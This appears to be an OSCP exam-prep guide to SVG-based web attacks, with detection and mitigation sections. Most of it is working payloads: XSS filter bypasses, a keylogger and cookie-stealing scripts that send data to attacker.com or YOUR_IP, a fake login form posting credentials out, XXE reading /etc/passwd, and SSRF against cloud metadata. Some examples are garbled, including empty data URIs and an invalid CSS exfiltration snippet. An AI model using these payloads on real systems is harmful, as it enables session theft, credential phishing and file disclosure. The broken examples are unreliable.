Domain 3Exploit Dev & AV EvasionCORE

SVG-Based Attacks

Comprehensive guide to SVG-based attacks including inline SVG XSS, foreignObject injection, SVG upload vulnerabilities, data URI SVG, and animation-based attacks for OSCP exam preparation.

Domain: Domain 3: Exploit Mechanics & AV Evasion•Updated: 2026-09-01
#SVG#XSS#File-Upload#XML#foreignObject

SVG-Based Attacks

Table of Contents

  1. Introduction to SVG
  2. Why SVG is Dangerous
  3. SVG Structure and Anatomy
  4. SVG XSS Vectors
  5. SVG Payload Examples
  6. SVG Upload Vulnerabilities
  7. Advanced SVG Attack Techniques
  8. Detection Methodology
  9. Mitigation Strategies
  10. OSCP-Specific Tips and Lab Scenarios
  11. Real-World Case Studies
  12. Quick Reference Cheat Sheet

1. Introduction to SVG

SVG (Scalable Vector Graphics) is an XML-based vector image format for two-dimensional graphics. Unlike raster images (PNG, JPEG), SVG describes shapes, paths, and text using XML markup, making it resolution-independent and infinitely scalable.

Key Characteristics

Property Description
Format XML-based text format
Extension .svg or .svgz (compressed)
MIME Type image/svg+xml
Scripting Supports JavaScript via <script> and event handlers
Styling Supports CSS via <style> and inline attributes
Interactivity Supports animations, transitions, and event handling
Embedding Can be embedded inline, via <img>, <object>, <iframe>, or data URI

Why SVG Matters for Security

SVG sits at the intersection of image format and executable code. This dual nature creates unique attack vectors:

  • Bypasses image filters: Treated as an image by many WAFs and upload filters
  • Contains executable code: Can run JavaScript, CSS animations, and DOM manipulation
  • XML structure: Inherits XML parsing vulnerabilities (XXE, entity expansion)
  • Cross-origin capabilities: Can load external resources and make network requests

2. Why SVG is Dangerous

2.1 XML-Based with Scripting Capabilities

SVG is fundamentally XML, which means it inherits all XML capabilities:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <!-- SVG can contain JavaScript -->
  <script type="text/javascript">
    alert('XSS via SVG');
  </script>
</svg>

Why this is dangerous:

  • Browsers parse SVG as XML but render it as a document with full DOM access
  • JavaScript in SVG runs in the same context as the hosting page
  • No Same-Origin Policy restrictions when the SVG is served from the same domain

2.2 Multiple Embedding Methods

SVG can be embedded in HTML through multiple vectors:

<!-- Method 1: Inline SVG (most dangerous - full DOM access) -->
<svg onload="alert('XSS')">
  <circle cx="50" cy="50" r="40" />
</svg>

<!-- Method 2: img tag (external file) -->
<img src="evil.svg" />

<!-- Method 3: Data URI (inline encoded SVG) -->
<img src="" />

<!-- Method 4: Object tag -->
<object data="evil.svg" type="image/svg+xml"></object>

<!-- Method 5: iframe -->
<iframe src="evil.svg"></iframe>

<!-- Method 6: CSS background -->
<div style="background: url('evil.svg')"></div>

<!-- Method 7: Link href -->
<link rel="icon" href="evil.svg" />

2.3 Bypasses HTML Filters

Many security filters focus on HTML tags and attributes but ignore SVG:

Filter Type What It Blocks What It Misses
HTML tag blacklist <script>, <iframe>, <object> <svg>, <foreignObject>
Attribute blacklist onerror, onload on HTML elements onload on <svg>, onclick on <circle>
Content-Type validation .html, .php uploads .svg uploads (treated as images)
WAF rules Common XSS patterns in HTML SVG-specific event handlers and constructs

2.4 Own Event Handlers and Scripting

SVG elements support their own set of event handlers:

<svg>
  <!-- SVG-level events -->
  <svg onload="alert('loaded')" onclick="alert('clicked')">
    
    <!-- Shape-level events -->
    <circle cx="50" cy="50" r="40" onmouseover="alert('hover')" />
    
    <!-- Text events -->
    <text x="10" y="20" onclick="alert('text clicked')">Click me</text>
    
    <!-- Animation events -->
    <animate attributeName="opacity" from="1" to="0" dur="1s" onend="alert('done')" />
  </svg>
</svg>

Complete list of SVG event handlers:

Event Handler Trigger
onload SVG document loads
onclick Mouse click
onmouseover Mouse enters element
onmouseout Mouse leaves element
onmouseenter Mouse enters (no bubbling)
onmouseleave Mouse leaves (no bubbling)
onmousedown Mouse button pressed
onmouseup Mouse button released
onmousemove Mouse moves over element
ondblclick Double click
onfocus Element gains focus
onblur Element loses focus
onkeypress Key pressed while focused
onkeydown Key down while focused
onkeyup Key up while focused
onbegin Animation begins
onend Animation ends
onrepeat Animation repeats

3. SVG Structure and Anatomy

3.1 Basic SVG Structure

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink"
     width="200"
     height="200"
     viewBox="0 0 200 200">
    
  <!-- Metadata (optional) -->
  <title>My SVG</title>
  <desc>A simple SVG graphic</desc>
  
  <!-- Definitions (reusable elements) -->
  <defs>
    <style>
      /* CSS styles */
      .red { fill: red; }
    </style>
    <linearGradient id="grad1">
      <stop offset="0%" stop-color="red" />
      <stop offset="100%" stop-color="blue" />
    </linearGradient>
  </defs>
  
  <!-- Graphic elements -->
  <rect x="10" y="10" width="180" height="180" fill="url(#grad1)" />
  <circle cx="100" cy="100" r="50" class="red" />
  <text x="100" y="100" text-anchor="middle">Hello</text>
  
  <!-- Scripting (dangerous!) -->
  <script type="text/javascript">
    alert('SVG Script');
  </script>
</svg>

3.2 Key SVG Elements for Attacks

Element Purpose Attack Potential
<svg> Root element onload event handler
<script> JavaScript execution Direct code execution
<foreignObject> Embed HTML/XML Full HTML injection
<animate> Animation Event-based execution
<set> Attribute animation Attribute manipulation
<style> CSS styling CSS-based attacks
<image> External image External resource loading
<use> Reuse elements External entity loading
<a> Hyperlink Navigation/redirection

3.3 The foreignObject Element

The <foreignObject> element is one of the most powerful SVG attack vectors. It allows embedding arbitrary HTML inside an SVG:

<svg xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink">
  <foreignObject width="100%" height="100%">
    <div xmlns="http://www.w3.org/1999/xhtml">
      <h1>HTML inside SVG!</h1>
      <script>alert('XSS via foreignObject');</script>
      <iframe src="https://evil.com/steal?cookie="></iframe>
    </div>
  </foreignObject>
</svg>

Why foreignObject is critical:

  • Allows full HTML injection within an SVG context
  • Bypasses filters that only check for HTML tags at the document level
  • The HTML inside runs with full DOM access
  • Supports all HTML elements including <script>, <iframe>, <form>, etc.

4. SVG XSS Vectors

4.1 Inline SVG with onload

Technique: Embed SVG directly in HTML with an onload event handler.

Payload:

<svg/onload=alert(1)>

Expanded form:

<svg onload="alert(document.cookie)">
  <circle cx="50" cy="50" r="40" fill="red" />
</svg>

How it works:

  1. Browser parses the <svg> tag as an inline SVG document
  2. When the SVG finishes loading, the onload event fires
  3. JavaScript executes in the context of the current page

Browser support: All modern browsers (Chrome, Firefox, Safari, Edge)

Filter bypass variations:

<!-- No quotes -->
<svg/onload=alert(1)>

<!-- Whitespace variations -->
<svg  onload=alert(1)>
<svg onload =alert(1)>
<svg onload= alert(1)>

<!-- Case variations -->
<SVG/ONLOAD=alert(1)>
<Svg OnLoad=alert(1)>

<!-- Tab/newline injection -->
<svg
onload=alert(1)>

<!-- Comment injection -->
<svg<!--comment-->onload=alert(1)>

4.2 SVG in img Tag (External File)

Technique: Host SVG on a server and reference via <img> tag.

evil.svg:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')">
  <rect width="100" height="100" fill="green" />
</svg>

HTML reference:

<img src="http://attacker.com/evil.svg" />

Important notes:

  • The onload event fires when the SVG is loaded as an image
  • Works when the SVG is served with correct MIME type (image/svg+xml)
  • Some browsers may restrict scripting in cross-origin SVG images
  • Most reliable when SVG is hosted on the same domain

4.3 SVG Data URI

Technique: Embed SVG directly in a URL using data URI scheme.

Base64 encoded:

<img src="" />

Decoded SVG:

<svg onload="alert(1)"></svg>

URL-encoded (no base64):

<img src="";

As CSS background:

body {
  background: url("");
}

Encoding the SVG:

# Base64 encode
echo '<svg onload="alert(1)"></svg>' | base64
# Output: PHN2ZyBvbmxvYWQ9ImFsZXJ0KDEpIj48L3N2Zz4=

# URL encode
python3 -c "import urllib.parse; print(urllib.parse.quote('<svg onload=\"alert(1)\"></svg>'))"
# Output: %3Csvg%20onload%3D%22alert%281%29%22%3E%3C/svg%3E

4.4 SVG foreignObject (Full HTML Inside SVG)

Technique: Use <foreignObject> to embed complete HTML documents within SVG.

Basic payload:

<svg xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink">
  <foreignObject width="100%" height="100%">
    <div xmlns="http://www.w3.org/1999/xhtml">
      <script>alert('XSS via foreignObject');</script>
    </div>
  </foreignObject>
</svg>

With iframe injection:

<svg xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink">
  <foreignObject width="100%" height="100%">
    <div xmlns="http://www.w3.org/1999/xhtml">
      <iframe src="javascript:alert('XSS')" width="100%" height="100%"></iframe>
    </div>
  </foreignObject>
</svg>

With form injection (credential harvesting):

<svg xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink">
  <foreignObject width="100%" height="100%">
    <div xmlns="http://www.w3.org/1999/xhtml">
      <form action="http://attacker.com/steal" method="POST">
        <input type="hidden" name="cookie" value="document.cookie" />
        <button type="submit">Click me!</button>
      </form>
    </div>
  </foreignObject>
</svg>

Why this is powerful:

  • Complete HTML injection within an SVG context
  • Bypasses filters that only scan for HTML at the document root
  • The HTML runs with full DOM access and same-origin privileges
  • Can include any HTML element: scripts, iframes, forms, objects, etc.

4.5 SVG Script Tag

Technique: Use <script> element directly within SVG.

Basic payload:

<svg xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">
    alert('XSS via SVG script tag');
  </script>
</svg>

With external script:

<svg xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript" xlink:href="http://attacker.com/evil.js" />
</svg>

With inline external reference:

<svg xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink">
  <script xlink:href="data:text/javascript,alert('XSS')" />
</svg>

Browser behavior:

  • Chrome: Executes <script> in SVG
  • Firefox: Executes <script> in SVG
  • Safari: Executes <script> in SVG
  • Edge: Executes <script> in SVG

4.6 SVG Animate/Animation Attacks

Technique: Use SVG animation elements to trigger JavaScript execution.

Using <animate> with onend:

<svg xmlns="http://www.w3.org/2000/svg">
  <rect width="100" height="100" fill="red">
    <animate attributeName="width" from="100" to="200" dur="0.1s" fill="freeze" />
  </rect>
  <script>
    setTimeout(function() {
      alert('Animation triggered XSS');
    }, 200);
  </script>
</svg>

Using CSS animations with onanimationend:

<svg xmlns="http://www.w3.org/2000/svg">
  <style>
    @keyframes xss {
      0% { opacity: 1; }
      100% { opacity: 0; }
    }
    .trigger {
      animation: xss 0.1s forwards;
    }
  </style>
  <rect class="trigger" width="100" height="100" fill="blue"
        onanimationend="alert('CSS animation XSS')" />
</svg>

Using <set> element:

<svg xmlns="http://www.w3.org/2000/svg">
  <rect width="100" height="100" fill="green" id="target">
    <set attributeName="fill" to="red" begin="0s" />
  </rect>
  <script>
    setTimeout(function() {
      document.getElementById('target').setAttribute('onclick', 'alert("set XSS")');
    }, 100);
  </script>
</svg>

4.7 SVG Set Attribute Manipulation

Technique: Use <set> to dynamically modify SVG attributes, potentially injecting event handlers.

Payload:

<svg xmlns="http://www.w3.org/2000/svg">
  <rect width="100" height="100" fill="blue" id="myRect">
    <set attributeName="onclick" to="alert('attribute injection')" begin="0s" />
  </rect>
</svg>

How it works:

  1. SVG loads with a <rect> element
  2. The <set> animation begins at 0 seconds
  3. The onclick attribute is set on the rectangle
  4. When user clicks the rectangle, the injected handler executes

Limitations:

  • Requires user interaction (click) to trigger
  • Some browsers may sanitize attribute values set via <set>
  • Less reliable than direct event handlers

5. SVG Payload Examples

5.1 Basic SVG XSS

Minimal payload:

<svg/onload=alert(1)>

With visual content (to avoid detection):

<svg width="100" height="100" xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')">
  <rect width="100" height="100" fill="#4CAF50" />
  <text x="50" y="50" text-anchor="middle" fill="white" dy=".3em">Logo</text>
</svg>

Polyglot SVG (works in multiple contexts):

<svg/onload=alert(1)//

5.2 SVG with foreignObject Containing iframes

Basic iframe injection:

<svg xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink">
  <foreignObject width="100%" height="100%">
    <div xmlns="http://www.w3.org/1999/xhtml">
      <iframe src="http://attacker.com/phish" width="100%" height="100%" frameborder="0"></iframe>
    </div>
  </foreignObject>
</svg>

Hidden iframe (invisible to user):

<svg xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink">
  <foreignObject width="1" height="1">
    <div xmlns="http://www.w3.org/1999/xhtml">
      <iframe src="http://attacker.com/steal?c=" width="0" height="0" style="display:none"></iframe>
      <script>
        document.querySelector('iframe').src += document.cookie;
      </script>
    </div>
  </foreignObject>
</svg>

Full phishing page:

<svg xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink">
  <foreignObject width="100%" height="100%">
    <div xmlns="http://www.w3.org/1999/xhtml">
      <style>
        body { margin: 0; padding: 20px; font-family: Arial; background: #f0f0f0; }
        .login-box { background: white; padding: 30px; border-radius: 8px; max-width: 400px; margin: 50px auto; }
        input { width: 100%; padding: 10px; margin: 10px 0; border: 1px solid #ddd; border-radius: 4px; }
        button { width: 100%; padding: 12px; background: #007bff; color: white; border: none; border-radius: 4px; cursor: pointer; }
      </style>
      <div class="login-box">
        <h2>Login Required</h2>
        <form action="http://attacker.com/steal" method="POST">
          <input type="text" name="username" placeholder="Username" required />
          <input type="password" name="password" placeholder="Password" required />
          <button type="submit">Login</button>
        </form>
      </div>
    </div>
  </foreignObject>
</svg>

5.3 SVG with Embedded Script Tags

Direct script execution:

<svg xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">
    // Steal cookies
    new Image().src = 'http://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
    
    // Keylogger
    document.addEventListener('keydown', function(e) {
      new Image().src = 'http://attacker.com/keylog?k=' + encodeURIComponent(e.key);
    });
    
    // Redirect
    // window.location = 'http://attacker.com/phish';
  </script>
  <rect width="100%" height="100%" fill="transparent" />
</svg>

Beacon with exfiltration:

<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    (function() {
      var data = {
        url: location.href,
        cookie: document.cookie,
        title: document.title,
        userAgent: navigator.userAgent
      };
      var img = new Image();
      img.src = 'http://attacker.com/beacon?' + encodeURIComponent(JSON.stringify(data));
    })();
  </script>
</svg>

DOM Clobbering via SVG:

<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    // Override window configuration
    window['config'] = { debug: true, apiKey: 'stolen-key' };
  </script>
</svg>

5.4 SVG Data URI (URL Encoded)

Base64 encoded SVG:



URL-encoded SVG:

" />

<!-- CSS background -->
<div style="background-image: url('')"></div>

<!-- JavaScript redirect -->
<script>
  location.href = "";
</script>

<!-- Anchor tag -->
<a href="">Click</a>

<!-- Object tag -->
<object data="" type="image/svg+xml"></object>

Encoding tools:

# Python
python3 -c "import base64; print(base64.b64encode(b'<svg onload=\"alert(1)\"></svg>').decode())"

# Linux
echo -n '<svg onload="alert(1)"></svg>' | base64

# PowerShell
[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('<svg onload="alert(1)"></svg>'))

5.5 SVG with CSS Animation and onanimationend

Animation-triggered XSS:

<svg xmlns="http://www.w3.org/2000/svg">
  <style>
    @keyframes trigger {
      0% { transform: scale(1); }
      100% { transform: scale(1.1); }
    }
    .animated {
      animation: trigger 0.5s ease-in-out;
    }
  </style>
  <rect class="animated" width="100" height="100" fill="red"
        onanimationend="alert('Animation XSS')" />
</svg>

Keyframe-based execution:

<svg xmlns="http://www.w3.org/2000/svg">
  <style>
    @keyframes xss {
      from { opacity: 1; }
      to { opacity: 1; }
    }
  </style>
  <circle cx="50" cy="50" r="40" fill="blue"
          style="animation: xss 0.1s;"
          onanimationstart="alert('Animation start XSS')" />
</svg>

Transition-based XSS:

<svg xmlns="http://www.w3.org/2000/svg">
  <style>
    .hover-target {
      transition: fill 0.1s;
    }
    .hover-target:hover {
      fill: red;
    }
  </style>
  <rect class="hover-target" width="100" height="100" fill="green"
        ontransitionend="alert('Transition XSS')" />
</svg>

5.6 SVG with Embedded Styles

CSS expression (IE only, legacy):

<svg xmlns="http://www.w3.org/2000/svg">
  <style>
    @import 'http://attacker.com/evil.css';
  </style>
  <rect width="100" height="100" fill="blue" />
</svg>

CSS injection via style element:

<svg xmlns="http://www.w3.org/2000/svg">
  <style>
    /* Steal content via CSS */
    body {
      background-image: url("http://attacker.com/steal?content=" + document.body.innerText);
    }
  </style>
  <rect width="100" height="100" fill="red" />
</svg>

Note: CSS-based data exfiltration has limited browser support and is more of a theoretical vector.


6. SVG Upload Vulnerabilities

6.1 Why Many Filters Block .html but Allow .svg

Common filter logic:

# Typical vulnerable upload filter
BLOCKED_EXTENSIONS = ['.html', '.htm', '.php', '.jsp', '.asp', '.aspx']
ALLOWED_EXTENSIONS = ['.jpg', '.jpeg', '.png', '.gif', '.svg', '.pdf']

def check_upload(filename):
    ext = os.path.splitext(filename)[1].lower()
    if ext in BLOCKED_EXTENSIONS:
        return False
    return True

Why SVG slips through:

Reason Explanation
Image classification SVG is classified as an image format, not a script
MIME type image/svg+xml contains “image” in the type
Legitimate use cases Logos, icons, avatars, charts are commonly SVG
Filter blindness Most filters check extension, not content
WAF gaps WAFs focus on HTML/JS, not XML-based attacks

6.2 SVG as Avatar, Logo, Document Upload

Common upload points for SVG:

Upload Type Typical Use Case Risk Level
User Avatar Profile pictures High (stored XSS)
Company Logo Branding uploads High (stored XSS)
Icon Upload UI customization Medium
Document Upload Reports, diagrams Medium
Chart Export Data visualization Low-Medium
Signature Email signatures Medium

Exploitation scenario - Avatar upload:

  1. Attacker creates malicious SVG:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')">
  <circle cx="50" cy="50" r="40" fill="blue" />
</svg>
  1. Attacker uploads as profile avatar

  2. When admin or other users view the attacker’s profile, the SVG renders and executes JavaScript

  3. Attacker steals session cookies or performs actions on behalf of the victim

6.3 Detection Methodology

Step 1: Identify upload points

- User profile pages
- Logo upload forms
- Document management systems
- Comment/image upload features
- File attachment systems

Step 2: Test SVG upload

# Create test SVG
echo '<svg onload="alert(1)"></svg>' > test.svg

# Upload via curl
curl -X POST http://target.com/upload \
  -F "file=@test.svg" \
  -H "Cookie: session=..."

Step 3: Verify rendering

  • Check if the uploaded SVG is accessible via URL
  • Verify the MIME type is image/svg+xml
  • Test if JavaScript executes when the SVG is viewed

Step 4: Test filter bypasses

<!-- Test 1: Basic onload -->
<svg onload="alert(1)"></svg>

<!-- Test 2: Script tag -->
<svg><script>alert(1)</script></svg>

<!-- Test 3: foreignObject -->
<svg><foreignObject><div xmlns="http://www.w3.org/1999/xhtml"><script>alert(1)</script></div></foreignObject></svg>

<!-- Test 4: Case variation -->
<SVG ONLOAD="alert(1)"></SVG>

<!-- Test 5: Whitespace -->
<svg  onload = "alert(1)" ></svg>

<!-- Test 6: No closing tag -->
<svg/onload=alert(1)>

6.4 Real-World Exploitation Scenarios

Scenario 1: Stored XSS via Logo Upload

Target: Corporate intranet with company logo upload
Impact: Admin cookie theft, full account takeover

Steps:
1. Upload malicious SVG as company logo
2. Wait for admin to view settings page
3. JavaScript steals admin's session cookie
4. Attacker uses cookie to access admin panel

Scenario 2: Phishing via Avatar

Target: Social platform with profile pictures
Impact: Credential harvesting from other users

Steps:
1. Create SVG avatar with phishing form inside foreignObject
2. Upload as profile picture
3. When users visit profile, they see fake login form
4. Credentials sent to attacker's server

Scenario 3: Data Exfiltration via Chart Export

Target: Analytics platform with SVG chart export
Impact: Sensitive data extraction

Steps:
1. Inject SVG with script into chart data
2. Export chart as SVG
3. Script exfiltrates visible data to attacker
4. Data collected via beacon requests

7. Advanced SVG Attack Techniques

7.1 SVG XXE (XML External Entity)

Technique: Leverage XML parsing in SVG for XXE attacks.

Payload:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text x="10" y="50">&xxe;</text>
</svg>

Blind XXE via SVG:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://attacker.com/?data=%file:///etc/passwd%">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <image xlink:href="&xxe;" width="1" height="1" />
</svg>

7.2 SVG with External Resource Loading

Load external script:

<svg xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink">
  <script xlink:href="http://attacker.com/evil.js" type="text/javascript" />
</svg>

Load external image (SSRF):

<svg xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="http://169.254.169.254/latest/meta-data/" width="1" height="1" />
</svg>

7.3 SVG Polyglots

HTML/SVG/JavaScript polyglot:

";alert(1);//
<svg/onload=alert(1)>

Image/SVG polyglot (GIF89a header + SVG):

GIF89a
<svg/onload=alert(1)>

Note: The GIF header may cause some parsers to treat the file as a GIF, while browsers may still parse the SVG content.

7.4 SVG in JavaScript Contexts

eval-based execution:

eval(atob('PHN2ZyBvbmxvYWQ9ImFsZXJ0KDEpIj48L3N2Zz4='));

innerHTML injection:

document.body.innerHTML += '<svg/onload=alert(1)>';

Document write:

document.write('<svg/onload=alert(1)>');

7.5 SVG with MathML

Technique: Combine SVG with MathML for additional attack surface.

Payload:

<svg xmlns="http://www.w3.org/2000/svg">
  <foreignObject width="100%" height="100%">
    <math xmlns="http://www.w3.org/1998/Math/MathML">
      <mtext>
        <animate attributeName="xlink:href" to="javascript:alert(1)" />
      </mtext>
    </math>
  </foreignObject>
</svg>

8. Detection Methodology

8.1 Manual Testing Checklist

Step Action Tool
1 Identify all file upload points Browser inspection
2 Test SVG upload with benign file Burp Suite
3 Test SVG with basic XSS payload Burp Repeater
4 Test filter bypass variations Manual testing
5 Verify SVG rendering and execution Browser dev tools
6 Test stored vs reflected behavior Multiple requests
7 Check MIME type handling Burp Inspector
8 Test content-type manipulation Burp Repeater

8.2 Automated Detection

Nuclei template for SVG upload:

id: svg-xss-upload

info:
  name: SVG XSS Upload
  author: security-team
  severity: high
  tags: xss,svg,upload

http:
  - method: POST
    path:
      - "{{BaseURL}}/upload"
    body: "------WebKitFormBoundary\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.svg\"\r\nContent-Type: image/svg+xml\r\n\r\n<svg/onload=alert(1)>\r\n------WebKitFormBoundary--"
    headers:
      Content-Type: "multipart/form-data; boundary=----WebKitFormBoundary"
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "upload successful"
      - type: status
        status:
          - 200

Burp Suite extensions:

  • Autorize: Test SVG upload with different authorization levels
  • Param Miner: Discover hidden upload parameters
  • Hackertarget: Automated XSS testing

8.3 Browser Developer Tools Analysis

Console monitoring:

// Monitor for SVG loading
document.addEventListener('DOMContentLoaded', function() {
  var svgs = document.querySelectorAll('svg');
  console.log('Found ' + svgs.length + ' SVG elements');
  svgs.forEach(function(svg, i) {
    console.log('SVG ' + i + ':', svg.outerHTML);
  });
});

Network tab filtering:

Filter: type:svg
Filter: mime:image/svg+xml

9. Mitigation Strategies

9.1 Server-Side Protections

1. Block SVG uploads entirely (if not needed):

BLOCKED_EXTENSIONS = ['.html', '.htm', '.php', '.jsp', '.asp', '.svg']

2. Sanitize SVG content:

import re

def sanitize_svg(svg_content):
    # Remove script tags
    svg_content = re.sub(r'<script[^>]*>.*?</script>', '', svg_content, flags=re.IGNORECASE | re.DOTALL)
    
    # Remove event handlers
    svg_content = re.sub(r'\s+on\w+\s*=\s*["\'][^"\']*["\']', '', svg_content, flags=re.IGNORECASE)
    svg_content = re.sub(r'\s+on\w+\s*=\s*\S+', '', svg_content, flags=re.IGNORECASE)
    
    # Remove foreignObject
    svg_content = re.sub(r'<foreignObject[^>]*>.*?</foreignObject>', '', svg_content, flags=re.IGNORECASE | re.DOTALL)
    
    # Remove style tags
    svg_content = re.sub(r'<style[^>]*>.*?</style>', '', svg_content, flags=re.IGNORECASE | re.DOTALL)
    
    return svg_content

3. Use a dedicated SVG sanitizer library:

# Python: svg-sanitize
from svg_sanitize import sanitize

safe_svg = sanitize(malicious_svg)

# Node.js: svg-sanitizer
const svgSanitizer = require('svg-sanitizer');
const safeSvg = svgSanitizer.sanitize(maliciousSvg);

4. Store SVGs separately and serve with proper headers:

location /uploads/svg/ {
    types {
        image/svg+xml svg;
    }
    # Add security headers
    add_header X-Content-Type-Options nosniff;
    add_header Content-Security-Policy "default-src 'none'; img-src 'self';";
}

9.2 Client-Side Protections

Content Security Policy (CSP):

Content-Security-Policy: default-src 'self'; script-src 'self'; img-src 'self' data:; object-src 'none'; base-uri 'self';

Note: CSP with script-src 'self' prevents inline SVG scripts from executing.

Sanitize on render:

// DOMPurify for SVG sanitization
import DOMPurify from 'dompurify';

const cleanSVG = DOMPurify.sanitize(dirtySVG, {
  USE_PROFILES: { svg: true, svgFilters: true }
});

9.3 Defense in Depth

Layer Control Implementation
Input Extension blacklist Block .svg if not needed
Input Content validation Parse and validate SVG structure
Processing Sanitization Remove dangerous elements/attributes
Storage Separate storage Store SVGs in isolated directory
Output CSP headers Restrict script execution
Output Type enforcement Serve with correct MIME type
Monitoring Logging Log all SVG uploads and accesses

10. OSCP-Specific Tips and Lab Scenarios

10.1 Common OSCP SVG Scenarios

Scenario 1: File Upload to Stored XSS

Machine: Typical web app with file upload
Vulnerability: Unrestricted SVG upload
Path: Upload SVG -> Stored XSS -> Cookie theft -> Admin access

Steps:
1. Find file upload functionality
2. Upload SVG with XSS payload
3. Access the uploaded SVG URL
4. Steal admin cookie
5. Use cookie to access admin panel
6. Find command execution or credential dump

Scenario 2: SVG Upload to RCE

Machine: Web app with SVG processing
Vulnerability: SVG upload + server-side processing
Path: Upload SVG -> XXE -> File read -> Credential theft -> SSH

Steps:
1. Upload SVG with XXE payload
2. Read /etc/passwd or config files
3. Find database credentials
4. Access database or SSH
5. Privilege escalation

10.2 OSCP Payloads to Memorize

Minimal SVG XSS:

<svg/onload=alert(1)>

SVG with cookie theft:

<svg/onload=new Image().src='http://YOUR_IP:8080/?c='+document.cookie>

SVG with foreignObject:

<svg><foreignObject><div xmlns="http://www.w3.org/1999/xhtml"><script>alert(1)</script></div></foreignObject></svg>

SVG data URI:



10.3 Lab Machine Patterns

Machine Type SVG Vector Follow-up
Web app with upload Stored XSS via SVG Cookie theft, admin panel
Intranet portal SVG avatar upload Admin session hijack
Document manager SVG document upload XXE, file read
Charting platform SVG export injection Data exfiltration
CMS with media upload SVG media upload Stored XSS, RCE

10.4 Exam Tips

  1. Always test SVG upload when you find a file upload vulnerability
  2. Check the response - if the SVG is rendered, test for XSS
  3. Use Burp Repeater to modify uploaded SVG content
  4. Try both reflected and stored SVG XSS
  5. Combine with other techniques - SVG XSS + CSRF = powerful combo
  6. Document the SVG URL for later access during the exam
  7. Set up a listener before triggering the SVG XSS:
    python3 -m http.server 8080
    # or
    nc -lvnp 8080

10.5 Common Mistakes to Avoid

Mistake Correction
Forgetting xmlns namespace Always include xmlns="http://www.w3.org/2000/svg"
Not testing foreignObject Test both direct SVG and foreignObject payloads
Ignoring data URI vectors Test data:image/svg+xml in all contexts
Assuming SVG is blocked Many apps allow SVG by default
Not checking MIME type Verify server returns image/svg+xml
Forgetting to URL-encode Encode special chars in data URIs

11. Real-World Case Studies

11.1 Slack XSS (2019)

Vulnerability: SVG upload in file sharing feature

Impact: Stored XSS affecting users who viewed malicious files

Payload type: SVG with embedded JavaScript

Lesson: Even major platforms can miss SVG-based XSS

11.2 WordPress SVG Upload

Vulnerability: WordPress allows SVG upload with certain plugins

Impact: Stored XSS on any site using vulnerable plugins

Common plugins affected:

  • SVG Support
  • Safe SVG (misconfigured)
  • Various media upload plugins

Lesson: Plugin security varies; always test SVG upload in WordPress sites

11.3 Jira SVG XSS

Vulnerability: SVG avatar upload in Atlassian Jira

Impact: Admin cookie theft via stored XSS

Lesson: Enterprise applications often have SVG upload for avatars and logos


12. Quick Reference Cheat Sheet

12.1 Payload Quick Reference

<!-- Basic -->
<svg/onload=alert(1)>

<!-- With namespace -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"></svg>

<!-- Script tag -->
<svg><script>alert(1)</script></svg>

<!-- foreignObject -->
<svg><foreignObject><div xmlns="http://www.w3.org/1999/xhtml"><script>alert(1)</script></div></foreignObject></svg>

<!-- Cookie theft -->
<svg/onload=new Image().src='http://ATTACKER/?c='+document.cookie>

<!-- Data URI -->


<!-- XXE -->
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><svg><text>&xxe;</text></svg>

12.2 Browser Compatibility Matrix

Vector Chrome Firefox Safari Edge IE11
<svg onload> Yes Yes Yes Yes Yes
<script> in SVG Yes Yes Yes Yes Yes
<foreignObject> Yes Yes Yes Yes Partial
Data URI SVG Yes Yes Yes Yes No
CSS animations Yes Yes Yes Yes Partial
<animate> Yes Yes Yes Yes Yes

12.3 Testing Workflow

1. Find upload point
   ↓
2. Upload benign SVG
   ↓
3. Verify SVG is accessible
   ↓
4. Upload SVG with XSS payload
   ↓
5. Access SVG URL
   ↓
6. Verify XSS execution
   ↓
7. Escalate to cookie theft / admin access
   ↓
8. Document findings

12.4 Key Takeaways

  1. SVG is XML with JavaScript - treat it as executable code, not just an image
  2. foreignObject is powerful - allows full HTML injection within SVG
  3. Data URIs are versatile - work in img, CSS, JS, and more
  4. Upload filters often miss SVG - test every upload point
  5. Stored XSS via SVG is common - avatars, logos, and documents are prime targets
  6. Combine techniques - SVG XSS + CSRF + privilege escalation = full compromise
  7. Always sanitize - if you must accept SVG, use a proper sanitizer library

References


Last Updated: 2026-09-01 Prepared for OSCP Exam Preparation